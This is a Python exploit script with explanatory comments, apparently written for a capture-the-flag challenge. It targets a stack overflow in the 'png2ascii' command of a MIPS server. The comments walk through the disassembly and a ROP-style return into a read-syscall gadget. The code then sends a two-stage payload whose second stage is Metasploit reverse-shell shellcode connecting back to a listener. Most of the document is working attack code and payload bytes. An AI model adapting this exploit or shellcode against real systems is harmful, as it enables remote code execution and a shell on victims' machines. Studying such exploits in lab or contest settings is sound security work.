#!/usr/bin/env python
# exploit by @jgrusko
# The real problem here is getting a linux MIPS and actually understanding MIPS, which
# i didn't :) So does hexray...
# Fortunately someone bothered creating a small debian squeeze image, which can be used with
# qemu-mips: http://people.debian.org/~aurel32/qemu/mips/
# The program is a server that allows connected client to send commands:
#
#IRIX (quals.ddtek.biz)
#login: ^D
#IRIX Release 6.5 IP32 ddtek
#Copyright 1987-2002 Silic0n Graphix, Inc. All Rights Reserved.
#Last login: Tue Jun 08 20:15:27 GMT 1954 by UNKNOWN@quals.ddtek.biz
#
#dd 0% help
#Available commands:
#qotd
#ls
#png2ascii
#help
#exit
#quit
#dd 1% png2ascii
#Copy and paste your PNG file and I will convert it to ASCII for you:
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#
# Issuing the "png2ascii" command and supplying a large string triggers a stack overflow
# vulnerability.
# The png2ascii() function is a follows:
#.text:00401BC4 png2ascii_handler:
#..
#.text:00401BD0 addiu $sp, -0x130 // reserve space on stack for
# // local variables
#.text:00401BD4 sw $ra, 0x130+var_4($sp) // push return address
#.text:00401BD8 sw $fp, 0x130+var_8($sp) // push sfp
#.text:00401BDC move $fp, $sp
#...
#.text:00401C4C addiu $v0, $fp, 0x130+var_108 // Load buffer into $v0
#.text:00401C50 lw $a0, 0x130+arg_0($fp) // load socket descriptor in $a0
#.text:00401C54 move $a1, $v0 // load buffer addr into $a1
#.text:00401C58 li $a2, 0x200 // load max size into $a2
#.text:00401C5C li $a3, 0xA // load delimiter into $a3
#.text:00401C60 la $t9, read_until_delim // load read_until_delim in $t9
#.text:00401C64 nop
#.text:00401C68 jalr $t9 ; read_until_delim // call read_until_delim() func
#
# The read_until_delim function actually call a getc() like function inside a loop until the
# supplied delimiter '\n' is encountered or the maximum buffer size is reached.
# The function has the following prototype:
# int read_until_delim(int sockfd, char *buffer, unsigned int max_size, char delim);
#
# However the maximum read size is 0x200, which is almost the double of the reserved stack
# space. This is a classic stack overflow.
# The real difficulty being dealing with the MIPS architecture
# In order to get a one shot exploit, i decided to go for ROP-like exploitation. The big
# problem is that MIPS is not ROPpers friendly since every opcode is 4-bytes it's unlikely to
# find the required gadgets.
# The solution I used was to return on the code performing the read syscall:
#.text:0040F968 lw $gp, 0x20($sp)
#.text:0040F96C sw $v0, 0x2c($sp)
#.text:0040F970 lw $a0, 0x0($sp) // file descriptor
#.text:0040F974 lw $a1, 0x4($sp) // destination buffer address
#.text:0040F978 lw $a2, 0x8($sp) // read size
#.text:0040F97C li $v0, 0xFA3 // read syscall
#.text:0040F980 syscall 0 // perform syscall
#.text:0040F984 sw $v0, 0x30+var_C($sp)
#.text:0040F988 sw $a3, 0x30+var_8($sp)
#.text:0040F98C lw $a0, 0x30+var_4($sp)
#.text:0040F990 la $t9, -0x7ccc($gp) // load function address
#.text:0040F994 nop
#.text:0040F998 jalr $t9 // jump to function
#
# With the following stack layout:
# 0x00000000 0x0040f968 // Return address (Address of above code)
# 0x00000004 0x00000004 // socket filedescriptor
# 0x00000008 0x10000000 // address of destination into .data section
# 0x0000000c 0x00000400 // read size
# 0x00000014 0x41414141 // junk
# 0x00000018 0x41414141 // junk
# 0x0000001c 0x41414141 // junk
# 0x00000020 0x41414141 // junk
# 0x00000024 0x10007ccc // goes into $gp register
#
# When the function will return, the code will actually read attacker second stage payload
# into the address 0x10000000 in binary .data section.
# The 0x10007ccc value is put into $gp by the instruction:
# .text:0040F968 lw $gp, 0x20($sp)
# When the following instruction is reached:
# .text:0040F990 la $t9, -0x7ccc($gp)
# .text:0040F994 nop
# .text:0040F998 jalr $t9 // jump to function
# The value at (0x10007ccc - 0x7ccc) = 0x10000000 will be put into $t9.
# By just prepending the second stage payload with the dword 0x10000004 the code will jump
# directly into the payload.
#
# Here's the actual exploit code:
import struct
import socket
import sys
# msfpayload linux/mipsle/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
shellcode = (
"\xef\xff\x09\x24\xff\xff\x10\x05\x82\x82\x08\x28\x27\x48"
"\x20\x01\x21\xc8\x3f\x01\x48\x85\xb9\xaf\x48\x85\xb9\x23"
"\x00\x00\x1c\x3c\x00\x00\x9c\x27\x21\xe0\x99\x03\x00\x00"
"\x89\x8f\xd8\xff\xbd\x27\xe8\x00\x2a\x25\x04\x00\x47\x8d"
"\xe8\x00\x28\x8d\x00\x01\x04\x3c\x7f\x00\x83\x34\x18\x00"
"\xb9\x27\x02\x00\x06\x24\x11\x5c\x05\x24\x08\x00\xa6\xa7"
"\x0a\x00\xa5\xa7\x18\x00\xa8\xaf\x1c\x00\xa7\xaf\x0c\x00"
"\xa3\xaf\x20\x00\xb9\xaf\x24\x00\xa0\xaf\x02\x00\x04\x24"
"\x02\x00\x05\x24\x21\x30\x00\x00\x57\x10\x02\x24\x0c\x00"
"\x00\x00\x21\x18\x40\x00\xff\xff\x02\x24\x1a\x00\x62\x10"
"\x01\x00\x04\x24\x21\x20\x60\x00\x08\x00\xa5\x27\x10\x00"
"\x06\x24\x4a\x10\x02\x24\x0c\x00\x00\x00\x0e\x00\x40\x14"
"\x21\x28\x00\x00\xdf\x0f\x02\x24\x0c\x00\x00\x00\x01\x00"
"\x05\x24\xdf\x0f\x02\x24\x0c\x00\x00\x00\x02\x00\x05\x24"
"\xdf\x0f\x02\x24\x0c\x00\x00\x00\x21\x30\x00\x00\x21\x20"
"\x20\x03\x20\x00\xa5\x27\xab\x0f\x02\x24\x0c\x00\x00\x00"
"\x21\x20\x00\x00\xa1\x0f\x02\x24\x0c\x00\x00\x00\x08\x00"
"\xe0\x03\x28\x00\xbd\x27\xa1\x0f\x02\x24\x0c\x00\x00\x00"
"\xe5\xff\x00\x10\x21\x20\x60\x00\x2f\x62\x69\x6e\x2f\x73"
"\x68\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
)
retAddr = struct.pack("<I", 0x40f968)
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 1994))
print(s.recv(4096))
s.send(b"png2ascii\n")
print(s.recv(4096))
payload = "\x00" * (260)
payload += retAddr # return on code performing read syscall
payload += struct.pack("<I", 0x04) # filedescriptor
payload += struct.pack("<I", 0x10000000) # destination address
payload += struct.pack("<I", 0x400) # read size
payload += "EEEEFFFFGGGGHHHHIIII" # junk arguments
payload += struct.pack("<I", 0x10007ccc) # goes into gp
payload += "\n"
# Send first stage payload
s.send(payload)
# Send second stage payload
s.send(struct.pack("<I", 0x10000004) + shellcode)
print(s.recv(8192))
print(s.recv(8192))
s.close()
if __name__ == "__main__":
exploit()